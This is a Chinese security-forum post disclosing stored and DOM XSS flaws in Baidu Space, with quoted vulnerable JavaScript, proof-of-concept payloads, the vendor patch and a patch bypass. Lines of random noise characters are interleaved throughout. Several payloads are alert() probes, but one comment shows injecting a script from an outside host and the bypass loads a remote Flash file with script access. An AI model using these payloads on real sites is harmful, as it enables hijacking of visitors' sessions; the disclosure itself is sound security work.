找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2061|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  
; v8 Z8 i. `6 P5 `: X6 y: w3 p9 j9 C. l" b& d9 X) ?" ^
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  7 v5 a* J9 Q2 R: g2 t* W
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  , W2 b" @2 {' F& L9 c8 ^2 T

. ], g3 {1 l+ H将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
% E9 _, L( y9 R. S) e" X9 `# t6 }其中BdUtil.insertWBR为  % ?. y! {2 O1 f$ c' c7 a9 m* X( {
function(text, step) {  
* x9 L/ F. j5 J9 u: n8 V0 Q8 Y    var textarea = textAreaCache || getContainer();  & {- j( d! _1 X" ]4 ~5 y
    if (!textarea) {  
4 l. P7 k, Q- k0 b% Y$ N; s/ Z* @9 T        return text;  4 i; _  B) f# R% I9 h9 u  d+ b
    }  
& n2 U% z, Z6 ^    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  
( |( C7 y5 l, s% ^7 |6 Y+ H    var string = textarea.value;  - ^4 c0 Z: T: a
    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  + O% `2 |+ I* b: O( A, L7 f
    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  
  l' q7 y6 P& Q& D) Y3 A    return result;  ( _0 [# X3 y  v: e
}  5 {# q! O) P1 Y* h# ]5 D7 F( n
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  1 V9 P# c' k& T7 e) S- z
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  / F# W6 c- q' r* T' R
   
8 g1 _( A* l( c* l二:creatbgmusic() Dom-Xss Bug  ' L$ m+ _% H4 o7 {* h2 v3 z0 R
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  & z6 ?( i- h7 d+ K- I

$ L( ~, r1 q# Shttp://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  , W& R: Q7 l8 l  L1 }

6 V+ V1 j0 e. nfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  : V) L5 ~2 `+ B! \$ m% ], u$ z
    //传入的murl赋值到bgmusic1和bgmusic2中  
; ~  `4 h0 r. L; H7 Z' V    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  ; O* x& d0 D0 t
    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  
7 W+ |7 N1 m5 O2 O9 h    if (musicnum <= 1) {  
2 m7 D/ I* p, i: M+ R, T        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
) j$ }5 |) p! [8 x* f    }  
! a+ v6 R8 D& l% _6 e' [    bgmusic1 += "</OBJECT>";  & k0 a# B; T3 {7 O; B( }
    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  
* L( h' Z7 Q) i; I    if (musicnum <= 1) {  
5 [  }9 I; @! [) \8 G" [, n/ R  g. w        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  : m$ Y/ p  u# N
    }  ! j& x: D$ z  ^8 K- N( I) X
    bgmusic2 += "> </EMBED>";  
2 `8 F, c6 A, N! L' V, x$ f    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  
; H& `+ e8 J9 q, y5 s' [* W    var bgmus = detectWMP();  2 k1 l" v& ]4 p; Y  N. x1 f3 U
    if (functype == "FckMusicHelper") {  & x' T$ k7 O* Z) h
        if (bgmus.installed) {  
- d4 x7 E& C& {) `: N6 a& s            if (bgmus.type == "IE") {  
: \/ t* O! `; Q+ t: r                return bgmusic1;  - |6 e/ V, T4 z4 k3 E$ |
            } else if (bgmus.type == "NS") {  ( q7 u) V0 v8 ?. @- a0 s/ o
                return bgmusic2;  
: I; F% B/ w- U) m# }) d2 q            }  
5 |) v0 ]7 |+ J8 j        } else {  
" e! i. \, \& K8 I5 M+ m+ H            return bgmusic3;  ( o* ]( t  E& C- l
        }  
/ ?6 V) ]7 }6 ^6 M& Z/ L    } else {  
7 q" k1 @6 H2 w9 U        if (bgmus.installed) {  % H9 @" b  O; d4 e! m( H* |
            //document.write 直接输出bgmusic变量 导致xss  
# V9 D! |$ V- P* ?; h3 j            if (bgmus.type == "IE") {  
) l' Q/ W" U- t4 _! ?" w) h                document.write(bgmusic1);  
& T+ [+ _6 I6 A' K* ?4 F0 q; ?5 x            } else if (bgmus.type == "NS") {  
1 x1 Y" N5 R- U; d) k$ T+ \                document.write(bgmusic2);  
2 @% |8 P9 T* `) ^7 ]            }  
; _! N" u: d+ K- f% d$ J! P        } else {  
" l* a) J6 e) P- A3 K, J, M8 a* k            document.write(bgmusic3);  $ h, e8 n% T( m% U
        }  % }6 Q" \9 E! G5 e( l/ L
        return "";  ) {# f/ Y, R4 T5 T
    }  ; N, u$ |, z* i/ C* C
}  
( v. A  b  m- c5 s9 _* E/ C% i) {/ l: D  E( {
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  6 g% l1 ~$ x" J7 @* w3 c; D+ H; x
, F. H( C8 B7 s# y# @2 j3 E& n+ L
function initBlogTextForFCK(){  
1 @1 e9 B) u. n4 u//fck init music  
6 l; m/ ~/ |* x; ]$ ]8 M! pif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  
5 m! \2 v3 Z, o6 E9 v: @* pvar imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  
4 ?) i) n4 a' b9 b9 Cvar isAutoPlay=true;  
7 ]7 X( b9 A7 ?0 f2 K) Sfor(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  5 ^2 b! E; N: g  W8 ^6 j3 N1 `
  var img=imgBox;  
! x% J1 \! M& {  if(img.getAttribute(’rel’)){        8 r  g- R+ {8 |" u- k
   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  
) y1 K: Z6 m; K   var musicDiv = document.createElement("SPAN");  1 T1 L3 o5 M9 d
   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
: X; v! w4 v# F8 ?4 [     
- |! _' M4 \1 g6 `      ..........................  
1 c5 s8 f! j8 e     
8 q5 r' R% b5 n5 h; q. `   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   . ^  t5 M% h9 \4 j0 y2 i
   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
( ~8 L  _5 U1 C! c# ?% g   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  6 q7 Q  `. O' l
   musicDiv.innerHTML=shtml;  
' m0 E" W" j( M- S- V   i--;n--;  ' i4 n" U  [- a7 L+ R
  }  / T! [  d- T- f" i
}  
9 T1 ^5 i' Z  f8 n: [/ W. I. `) j; O! n8 k0 w, l
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  
- w, W- n1 ?. u2 Q   : G% F" e# b1 y& c" \" R' U4 g
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  
/ v- q( N9 A2 H* @+ f
* E: f  z8 h9 |* g0 E/ \等待官方补丁  - ~( h1 `1 j6 l& j" C  e, \7 O

6 ~: C) |4 I* @( W/ g# ]8 Lupdate 2010年5月13日   8 F0 X6 h; V5 ]9 v* j
* K/ S8 ~- g% W$ P, T; x, F% F
官方补丁:  , `5 v/ L7 Q8 l% _: [

2 ?% ~! ~2 Z8 ]1 `2 G; G8 ~var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  8 @" o' P# H5 }1 J1 A
改为:  2 o5 m( F1 T6 B9 P7 ?0 s! k# A( L
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  1 x- c! d7 W8 u
2 U9 w% M( ], @: Y. X2 i' I9 k# _( \
update 2010年5月13日 21:50:37  # h& W2 ~. q3 ]3 v  u' \4 S* R  E
5 P; P2 x4 R; q: P. q+ ^0 a
补丁存在漏洞 没有过滤" 可以继续跨:  ! q- P$ }  b" `& {
1 k* n# l$ p, A( G! v4 _
NEW POC:  9 y( X$ e% P- u) n) S/ ~
. G: |$ b% A: X$ q: L8 o
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" 8 ^! p: {: H4 N# W% _% @2 B  L

* Q, [! }' w: V) {- Ballowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
9 c/ b  S; ?3 P  C
5 j( L; B/ `, E: s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表